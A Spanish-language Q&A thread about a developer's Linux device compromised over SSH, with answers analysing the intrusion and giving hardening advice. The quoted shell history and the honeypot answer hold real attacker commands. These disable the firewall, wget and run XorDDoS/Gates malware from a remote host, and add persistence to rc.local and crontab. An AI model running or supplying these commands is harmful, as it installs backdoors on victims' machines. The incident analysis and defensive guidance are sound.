¿Acabo de ser hackeado?

Estoy desarrollando un producto de consumo, y se supone que está conectado a Internet, por lo que, como era de esperar, está conectado a Internet para poder desarrollarlo adecuadamente.

Me fui por una o dos horas, y cuando regresé a mi oficina noté algunos comandos extraños escritos en la terminal.

Mirando el archivo de registro de Linux llamado auth.logpuedo ver las siguientes líneas (entre muchas más):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

La dirección IP 40.127.205.162resulta ser propiedad de Microsoft .

Aquí hay un montón de comandos que se usaron mientras estaba fuera:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Y más:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

No estaba completamente consciente de esto. ¿Cómo puedo asegurar mi producto correctamente?

Me gustaría publicar el auth.logarchivo completo . ¿Cómo puedo hacer eso?

Además, el archivo yjz1que se descargó parece ser un troyano de Linux y todo esto lo hace algún tipo de grupo de hackers de acuerdo con http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

¿Debo llamar a Microsoft y hablar con ellos? ¿Qué tengo que hacer?

EDITAR 2 :

Hay una buena razón por la que esta publicación está atrayendo tanta atención: logró grabar toda la sesión en vivo de un intruso en su PC. Esto es muy diferente de nuestra experiencia cotidiana, donde tratamos con el descubrimiento de las consecuencias de sus acciones y tratamos de corregirlas. Aquí lo vemos en el trabajo, vemos que tiene algunos problemas para establecer la puerta trasera, volver sobre sus pasos, trabajar febrilmente (tal vez porque estaba sentado en su escritorio, como se sugirió anteriormente, o tal vez, y en mi opinión más probable, porque estaba no puede hacer que su malware se ejecute en el sistema, lea a continuación) e intente implementar instrumentos de control totalmente autónomos. Esto es lo que los investigadores de seguridad presencian diariamente con sus trampas de miel . Para mí, esta es una oportunidad muy rara, y la fuente de cierta diversión.

Definitivamente has sido hackeado. La evidencia de esto no proviene del fragmento del auth.logarchivo que mostró, porque esto informa un intento de inicio de sesión fallido, que se produce en un corto período de tiempo (dos segundos). Notarás que la segunda línea dice Failed password, mientras que la tercera informa una pre-authdesconexión: el tipo lo intentó y falló.

En cambio, la evidencia proviene del contenido de los dos archivos http://222.186.30.209:65534/yjzy de lo http://222.186.30.209:65534/yjz1que el atacante descargó en su sistema.

El sitio está actualmente abierto para que cualquiera pueda descargarlos, lo cual hice. Primero corrí filesobre ellos, que mostró:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Luego los traje a una máquina virtual Debian de 64 bits que tengo; un examen de su contenido a través del stringscomando reveló muchas cosas sospechosas (referencia a varios ataques conocidos, comandos a los que se debe sustituir, un script que se usó claramente para configurar un nuevo servicio, etc.).

Luego produje los hash MD5 de ambos archivos y los envié a la base de datos hash de Cymru para ver si son agentes conocidos de malware. Mientras yjzque no es, yjz1es y Cymru informa una probabilidad de detección por software antivirus del 58%. También indica que este archivo se vio por última vez hace unos tres días, por lo que es bastante reciente.

Ejecutando clamscan (parte del clamavpaquete) en los dos archivos que obtuve:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

así que ahora estamos seguros de que el software estándar de Linux puede identificarlo.

Que deberias hacer

Aunque es bastante nuevo, ninguno de los sistemas es muy nuevo, consulte este artículo de enero de 2015 sobre XorDdos , por ejemplo. Entonces, la mayoría de los paquetes gratuitos deberían poder eliminarlo. Usted debe tratar: clamav, rkhunter, chkrootkit. Busqué en Google y vi que dicen ser capaces de detectarlo. Úselos para verificar el trabajo del predecesor, pero después de ejecutar estos tres programas, debería estar listo para comenzar.

En cuanto a la pregunta más amplia, what should you do to prevent future infectionsla respuesta de Journeyman es un buen primer paso. Solo tenga en cuenta que es una lucha continua, una que todos nosotros (¡incluido yo!) Bien podríamos haber perdido sin siquiera saberlo.

EDITAR :

En el aviso (indirecto) de Viktor Toth, me gustaría agregar algunos comentarios. Ciertamente, es cierto que el intruso encontró algunas dificultades: descarga dos herramientas de pirateo distintas, cambia sus permisos varias veces, las reinicia varias veces e intenta muchas veces desactivar el firewall. Es fácil adivinar lo que está sucediendo: espera que sus herramientas de piratería abran un canal de comunicación hacia una de sus PC infectadas (ver más adelante) y, cuando no ve que este nuevo canal aparece en su GUI de control, teme que su pirateo el firewall está bloqueando la herramienta, por lo que repite el procedimiento de instalación. Estoy de acuerdo con Viktor Toth en que esta etapa particular de su operación no parece dar los frutos esperados, pero me gustaría alentarlo fuertemente. para no subestimar el alcance del daño infligido en tu pc.

Proporciono aquí una salida parcial de strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Esto proporciona evidencia de alteración de los servicios (en /etc/init.dy dentro /etc/rc.d), con crontabel archivo de historial de mysqly un par de archivos en los procque están vinculados bash(lo que sugiere que se ha plantado una versión fraudulenta personalizada de su shell). Luego, el programa genera una solicitud HTTP (a un sitio de habla china,

 Accept-Language: zh-cn

lo que da sustancia al comentario anterior de David Schwartz), lo que puede crear aún más estragos. En la solicitud, los binarios ( Content-Type: application/x-www-form-urlencoded) deben descargarse en la PC atacada (GET) y cargarse en la máquina de control (POST). No pude establecer qué se descargaría en la PC atacada, pero, dado el pequeño tamaño de ambos yjzy yjz1(1.1MB y 600kB, respectivamente), puedo aventurarme a suponer que la mayoría de los archivos necesarios para ocultar el rootkit, es decir , el alterado versiones de ls, netstat, ps, ifconfig, ..., se pueden descargar de esta manera. Y esto explicaría los febriles intentos del atacante para iniciar esta descarga.

No hay certeza de que lo anterior agote todas las posibilidades: ciertamente nos falta parte de la transcripción (entre las líneas 457 y 481) y no vemos un cierre de sesión; Además, especialmente preocupantes son las líneas 495-497,

cd /tmp;  ./yd_cd/make

que se refieren a un archivo que no vimos descargado, y que podría ser una compilación: si es así, significa que el atacante ha entendido (¿finalmente?) cuál era el problema con sus ejecutables y está tratando de solucionarlo, en cuyo caso el La PC atacada se ha ido para siempre. [De hecho, las dos versiones del malware que el atacante descargó en la máquina pirateada (y yo en mi VM Debian de 64 bits) son para una arquitectura inadecuada, x86, mientras que solo el nombre de la PC pirateada revela el hecho de que estaba tratando con una arquitectura de brazo].

La razón por la que escribí esta edición es para instarlo lo más fuerte posible a que combine su sistema con un instrumento profesional o que lo reinstale desde cero.

Y, por cierto, si esto resulta útil para alguien, esta es la lista de las 331 direcciones IP a las que yjzintenta conectarse. Esta lista es tan grande (y probablemente está destinada a hacerse aún más grande) que creo que esta es la razón para manipularla mysql. La lista proporcionada por la otra puerta trasera es idéntica, lo cual, supongo, es la razón para dejar a la vista una información tan importante (creo que el atacante no quiso hacer el esfuerzo de almacenarlos en formato kernel, por lo que puso la lista completa en un archivo de texto claro, que probablemente sea leído por todas sus puertas traseras, para cualquier sistema operativo):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

El siguiente código

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

en la lista anterior muestra que 302 de un total de 331 direcciones están en China continental, las restantes están en Hong Kong, Mongolia, Taiwán. Esto agrega más apoyo a la afirmación de David Schwartz de que esto es principalmente un anillo bot chino.

EDITAR 3

A petición de @ vaid (el autor del OP, lea su comentario a continuación), agregaré un comentario sobre cómo fortalecer la seguridad de un sistema Linux básico (para un sistema que proporciona muchos servicios, este es un tema mucho más complejo). vaiddeclara que hizo lo siguiente:

1. Vuelva a instalar el sistema.

2. cambió la contraseña de root a una contraseña de 16 caracteres con letras mayúsculas y minúsculas y caracteres y dígitos mixtos.

3. Cambió el nombre de usuario a un nombre de usuario largo de 6 caracteres mixtos y aplicó la misma contraseña que la utilizada para root

4. cambió el puerto SSH a algo superior a 5000

5. desactivado el inicio de sesión raíz SSH.

Esto está bien (excepto que uso un puerto por encima de 10,000 ya que muchos programas útiles usan los puertos por debajo de 10,000). Pero no puedo enfatizar lo suficiente la necesidad de usar claves criptográficas para el inicio de sesión ssh , en lugar de contraseñas. Te daré un ejemplo personal. En uno de mis VPS, no estaba seguro de si cambiar el puerto ssh; Lo dejé a las 22, pero usé claves criptográficas para la autenticación. Tuve cientos de intentos de intrusión por día , ninguno tuvo éxito. Cuando, cansado de comprobar a diario que nadie había tenido éxito, eventualmente cambié el puerto a algo por encima de 10,000, los intentos de robo se pusieron a cero. Eso sí, no es que los hackers sean estúpidos (¡no lo son!), Solo cazan presas más fáciles.

Es fácil activar una clave criptográfica con RSA como algoritmo de firma, vea el comentario a continuación de Jan Hudec (¡gracias!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Ahora todo lo que tiene que hacer es copiar el archivo id_rsaa la máquina desde la que desea conectarse (en un directorio .ssh, también chmod'ed a 700), luego emitir el comando

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Cuando esté seguro de que esto funciona, edite en el servidor (= la máquina a la que desea conectarse) el archivo /etc/ssh/sshd_configy cambie la línea

#PasswordAuthentication yes

a

PasswordAuthentication no

y reinicie el sshservicio ( service ssh restarto systemctl restart ssh, o algo así, dependiendo de la distribución).

Esto resistirá mucho. De hecho, actualmente no hay exploits conocidos en contra de las versiones actuales openssh v2y de RSA empleadas por openssh v2.

Por último, para atornillar realmente su máquina, deberá configurar el firewall (netfilter / iptables) de la siguiente manera:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Esto, 1) permite conexiones ssh desde LAN y WAN, 2) permite todas las entradas originadas por sus solicitudes (por ejemplo, cuando carga una página web), 3) deja todo lo demás en la entrada, 4) permite todo en la salida, y 5-6) permite todo en la interfaz de bucle invertido.

A medida que crecen sus necesidades y se deben abrir más puertos, puede hacerlo agregando, en la parte superior de la lista, reglas como:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

para permitir, por ejemplo, que personas accedan a su navegador web.

Bienvenido a Internet, donde cualquier servidor SSH abierto es probable que sea sondeado, forzado por la fuerza bruta y se le inflijan varias indignidades.

Para comenzar, debe limpiar completamente el almacenamiento en el producto. Imagínelo si desea transmitirlo para análisis forense, pero la instalación de Linux en él ahora es sospechosa.

Un poco de conjeturas pero

1. Te obligaron brutalmente o usaste una contraseña común. Es seguridad por oscuridad, pero no desea una contraseña de diccionario o usar una cuenta raíz abierta a SSH. Deshabilite el acceso raíz SSH si es una opción o al menos cambie el nombre para que tengan que adivinar ambos. SSHing como root es una práctica de seguridad terrible de todos modos. Si debe usar root, inicie sesión como otro usuario y use su o sudo para cambiar.

2. Dependiendo del producto, es posible que desee bloquear el acceso SSH de alguna manera. Un bloqueo total parece una buena idea y permite a los usuarios abrirlo según sea necesario . Dependiendo de los recursos que pueda ahorrar, considere permitir solo direcciones IP en su propia subred o algún tipo de sistema de limitación de inicio de sesión. Si no lo necesita en el producto final, asegúrese de que esté apagado.

3. Use un puerto no estándar. Seguridad por oscuridad nuevamente, pero significa que un atacante debe apuntar a su puerto.

4. Nunca use una contraseña predeterminada. El mejor enfoque que he visto es generar aleatoriamente una contraseña para un dispositivo específico y enviarla con su producto. La mejor práctica es la autenticación basada en claves, pero no tengo idea de cómo abordaría eso en un producto de mercado masivo.

Oh, definitivamente has sido hackeado. Al parecer, alguien pudo obtener credenciales de root e intentó descargar un troyano a su sistema. MariusMatutiae proporcionó un análisis de la carga útil.

Surgen dos preguntas: a) ¿Fue exitoso el atacante? Y b) ¿qué puedes hacer al respecto?

La respuesta a la primera pregunta puede ser un no. Observe cómo el atacante intenta repetidamente descargar y ejecutar la carga útil, aparentemente sin éxito. Sospecho que algo (SELinux, ¿acaso?) Se interpuso en su camino.

SIN EMBARGO: El atacante también alteró su /etc/rc.d/rc.localarchivo, con la esperanza de que cuando reinicie su sistema, la carga útil se active. Si aún no ha reiniciado el sistema, no reinicie hasta que haya eliminado estas alteraciones /etc/rc.d/rc.local. Si ya lo ha reiniciado ... bueno, mala suerte.

En cuanto a lo que puede hacer al respecto: lo más seguro es limpiar el sistema y volver a instalarlo desde cero. Pero esto puede no ser siempre una opción. Una cosa significativamente menos segura de hacer es analizar exactamente lo que sucedió y borrar cada rastro, si puede. Una vez más, si aún no ha reiniciado el sistema, tal vez todo lo que necesita es limpiar /etc/rc.d/rc.local, eliminar todo lo descargado por el atacante y, por último, pero no menos importante, ¡cambiar la maldita contraseña!

Sin embargo, si el atacante ya pudo ejecutar la carga útil, puede haber otras modificaciones en su sistema que pueden ser difíciles de detectar. Es por eso que una limpieza completa es realmente la única opción segura (y recomendada). Como indicó, el equipo en cuestión puede ser un objetivo de prueba / desarrollo, por lo que quizás limpiarlo no sea tan doloroso como en otros casos.

Actualización : a pesar de lo que escribí sobre una posible recuperación, deseo hacerme eco de la muy fuerte recomendación de MariusMatutiae de no subestimar el daño potencial causado por esta carga útil y la medida en que puede haber comprometido el sistema objetivo.

Mi sshd-honeypot también ha visto este tipo de ataque. Las primeras descargas desde esa URL comenzaron el 2016-01-29 10:25:33 y los ataques aún continúan. Los ataques son / vinieron de

103.30.4.212
111.68.6.170
118.193.228.169

La aportación de estos atacantes fue:

servicio iptables stop
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Así que no hay otras actividades que instalar la puerta trasera para más adelante.

Todos aquí han ofrecido consejos sólidos, pero para ser claros, sus prioridades deben ser respaldar y verificar lo que realmente necesita de ese sistema, y ​​luego limpiarlo con una nueva instalación de medios seguros conocidos.

Antes de conectar su host recién instalado a Internet, siga estas ideas:

1. Cree un nuevo usuario no root e inicie sesión como ese usuario. Nunca debería necesitar iniciar sesión como root, solo sudo (el usuario sustituto lo hace) cuando sea necesario.

2. Instale SE Linux, ajustes de configuración que permiten el control de acceso obligatorio: https://wiki.debian.org/SELinux/Setup

3. Considere un firewall de hardware entre su oficina / hogar e Internet. Uso MicroTik, que tiene un excelente soporte comunitario: http://routerboard.com/ .

Suponiendo que está en una línea de tiempo para completar su trabajo remunerado, al menos haga el n. ° 1. El n. ° 3 es rápido y barato, pero deberá esperar el paquete por correo o conducir a la tienda.

1. ¿ Debian-armhf es su nombre de host? ¿O utiliza una instalación predeterminada con la configuración predeterminada? No hay ningún problema con eso, pero no debe permitir que el host se exponga directamente a Internet (es decir, al menos no está protegido por su módem).

2. Parece que el verdadero problema proviene de 222.186.30.209 (ver http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). No debe prestar mucha atención a ver la IP de Microsoft. Las IP pueden ser falsificadas o falsificadas más o menos fácilmente.

3. Una forma habitual de conectarse a Internet es reenviar una lista conocida de puertos desde su IP pública (por ejemplo, 8.8.8.8) a su local (por ejemplo, 192.168.1.12).

   • Por ejemplo, no reenvíe todas las conexiones entrantes de 8.8.8.8 (público) a 192.168.1.12 (local).

   • Reenviar solo los puertos 22 y 25 (ssh y correo entrante, respectivamente). Por supuesto, también debe tener paquetes / bibliotecas ssh y smtp actualizados .

4. ¿Que sigue? Desconecte el host y cambie las contraseñas (en cualquier computadora asociada con la organización) que estén codificadas en scripts de shell (¡qué vergüenza!) /etc/shadow.

Como otros dijeron, está bastante claro que la seguridad de su servidor se ha visto comprometida. Lo más seguro es limpiar esta máquina y volver a instalarla.

Para responder a la segunda parte de su pregunta, si no puede usar la autenticación de clave pública, le recomiendo al menos configurar Fail2Ban y ejecutar SSH en un puerto no estándar. También deshabilito el acceso raíz SSH.

Fail2Ban ayudará a mitigar los ataques de fuerza bruta al prohibir las direcciones IP que no pueden iniciar sesión un cierto número de veces.

Configurar sshd para escuchar en un puerto no estándar al menos ayudará a reducir un poco la visibilidad de su servidor SSH. Deshabilitar el inicio de sesión raíz también reduce ligeramente el perfil de ataque. En /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Con el inicio de sesión root deshabilitado, deberá cambiar a root suuna vez que se haya conectado, o (más preferiblemente) usar sudopara ejecutar comandos privilegiados.

Los servidores SSH están constantemente bajo ataque en Internet. Un par de cosas que haces:

1. Asegúrese de utilizar una contraseña aleatoria muy segura para máquinas con acceso a Internet. Me refiero a 16 caracteres o más y completamente al azar. Use un administrador de contraseñas para no tener que memorizarlo. Si puedes memorizar tu contraseña, es demasiado simple.

2. Si no necesita SSH, apáguelo. Si lo necesita, pero no lo necesita de acceso público, ejecútelo en un número de puerto alto y no estándar. Hacer esto reducirá drásticamente los intentos de pirateo. Sí, un hacker dedicado puede hacer un escaneo de puertos, pero los robots automatizados no lo encontrarán.

El fragmento de su registro de autenticación muestra un intento fallido. Sin embargo, si mira más allá, sin duda verá un inicio de sesión exitoso. Si usa una contraseña simple, entonces es trivial que un bot ingrese.

Debe aislar esta máquina de la red. Con mucho cuidado, saque lo que necesita de él y luego límpielo.

Lo primero que debe hacer cualquiera / todos después de configurar un servidor Linux / Unix frontal es desactivarlo inmediatamente root.

Su sistema fue comprometido. Tiene un registro de historial en ejecución que puede ser genial ver hasta cierto punto. Pero honestamente diseccionar los detalles es un poco quisquilloso y no lo ayudará a proteger su servidor. Muestra todo tipo de tonterías que suceden cuando la botnet genera malware, que es lo que probablemente infectó su servidor, infecta un sistema Linux. La respuesta proporcionada por @MariusMatutiae es agradable y bien pensada, y hay otros que repiten que fue pirateado a través del rootacceso, que es el sueño húmedo de un malware / botnet.

Hay algunas explicaciones sobre cómo deshabilitar, rootpero afirmaré por experiencia personal, casi todo lo que va más allá de lo que describiré ahora es excesivo. Esto es lo que debería haber hecho la primera vez que configuró el servidor:

1. Cree un nuevo usuario con sudoderechos: cree un nuevo usuario con un nuevo nombre, algo así cooldudecomo sudo adduser cooldude, usando un comando como si está utilizando Ubuntu u otro tipo de sistema Debian. Luego, edite manualmente el sudoarchivo con un comando como este sudo nano /etc/sudoersy agregue una línea como cooldude ALL=(ALL:ALL) ALLdebajo de la línea equivalente que debería leer root ALL=(ALL:ALL) ALL. Una vez hecho esto, inicie sesión cooldudey pruebe el sudocomando con un comando como sudo w—algo básico y no destructivo— para ver si los sudoderechos funcionan. Es posible que se le solicite una contraseña. ¿Eso funciona? ¡Todo bien! Avanza al siguiente paso.
2. Bloquee la rootcuenta: Bien, ahora que cooldudeestá a cargo de los sudoderechos, inicie sesión cooldudey ejecute este comando para bloquear la cuenta raíz sudo passwd -l root. Si de alguna manera ha creado un par de claves SSH para root, abra /root/.ssh/authorized_keysy quite las claves. O mejor aún, simplemente cambie el nombre de ese archivo de authorized_keys_OFFesta manera, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFpara deshabilitar efectivamente las claves SSH. Prefiero el último porque, en el caso de que todavía necesites una contraseña menos inicio de sesión, puedes mover ese archivo nuevamente al nombre original y estarás listo.

